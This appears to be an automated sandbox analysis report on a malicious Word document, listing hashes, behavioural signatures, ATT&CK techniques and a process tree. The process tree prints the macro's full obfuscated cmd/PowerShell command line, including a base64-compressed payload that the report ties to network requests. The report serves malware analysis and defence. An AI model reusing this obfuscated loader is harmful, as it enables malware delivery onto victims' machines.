a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9

General

Target

a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9.doc
Size

66KB
MD5

442fa824fda4f1a62061dbf85af3fc23
SHA1

7178263616de595882740389d175aa9c155c17c4
SHA256

a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9
SHA512

1dc52ea851db31b703ef1777eb90df87d802bab3b21b2c717aa2a953ed3b378d4ae13932e28e7c0e9707ec9b32d83786f4963e20a517d448606b98a2f59cd3f2
SSDEEP

768:0VucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBs3ylZUbu11qrOhdr:0ocn1kp59gxBK85fBYyUzOh

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2300	2104	CMD.exe	28

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	2912	powershell.exe
6	2912	powershell.exe
7	2912	powershell.exe
9	2912	powershell.exe
11	2912	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2104	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2104	WINWORD.EXE
2104	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 2300	2104	WINWORD.EXE	29
PID 2104 wrote to memory of 2300	2104	WINWORD.EXE	29
PID 2104 wrote to memory of 2300	2104	WINWORD.EXE	29
PID 2104 wrote to memory of 2300	2104	WINWORD.EXE	29
PID 2300 wrote to memory of 2912	2300	CMD.exe	32
PID 2300 wrote to memory of 2912	2300	CMD.exe	32
PID 2300 wrote to memory of 2912	2300	CMD.exe	32
PID 2300 wrote to memory of 2912	2300	CMD.exe	32
PID 2104 wrote to memory of 2732	2104	WINWORD.EXE	33
PID 2104 wrote to memory of 2732	2104	WINWORD.EXE	33
PID 2104 wrote to memory of 2732	2104	WINWORD.EXE	33
PID 2104 wrote to memory of 2732	2104	WINWORD.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a25d721ff72eecb7d97eb746ce01ac6ff63e3a72fa2614fc3380919be792cbc9.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\SysWOW64\CMD.exe
  CMD cMd.ExE /C "SeT mPQT=. ( $psHome[4]+$PShomE[30]+'X') (NEw-ObjEcT Io.cOMpRESsION.DefLAtesTREAm([SYstem.Io.mEMorYstREAm] [SYStEM.cOnvErT]::FRoMbASE64sTriNG('NZDRTgIxEEV/ZR+alA3SxicNzSYkiBskggYTNfGllMGtdDt1W7Yi2X+3S+T1nsmZO0MWD2VhIY5w8wUqZEsI7BU2U6PBBkG+1aKgVQhuzLnRaCuswR99gJpVB/64fts5P/nnMUbm0RzRMoU1kw2XzxfWKmx8UifAoxsptCH5+cEZlFvPn1pXXkY/vTRJIYG790u2xVpbPO806ne6mpWUrZ3RYUAnNBdkXb5kRUZvbq+pIFGvCgK2HaeWbkg/6LDnQ8rgB6jYYQNSVQOynMVM26w/MT+F5ngi6RXsDqPtO91rA+eZq6wX5mJuW9zDaJ6k50RskmcvOiWDqk5d9wc='), [systeM.Io.COMpResSiOn.coMPREsSiOnMoDE]::dECoMPrEss) ^| fOrEaCH-oBJEcT{NEw-ObjEcT SyStEm.io.StrEAmReAdER( $_ , [TExt.EncODing]::AsciI )} ).ReaDtOeNd( ) && PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) ^| ^& ( ( ^&( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) | & ( ( &( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2104-0-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

Filesize
4KB

Download
memory/2104-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2104-2-0x000000007183D000-0x0000000071848000-memory.dmp

Filesize
44KB

Download
memory/2104-6-0x00000000058C0000-0x00000000059C0000-memory.dmp

Filesize
1024KB

Download
memory/2104-18-0x000000007183D000-0x0000000071848000-memory.dmp

Filesize
44KB

Download
memory/2104-19-0x00000000058C0000-0x00000000059C0000-memory.dmp

Filesize
1024KB

Download
memory/2912-14-0x0000000004FF0000-0x0000000005042000-memory.dmp

Filesize
328KB

Download
memory/2912-15-0x00000000026D0000-0x00000000026DD000-memory.dmp

Filesize
52KB

Download
memory/2912-16-0x00000000050A0000-0x00000000050DC000-memory.dmp

Filesize
240KB

Download

Analysis

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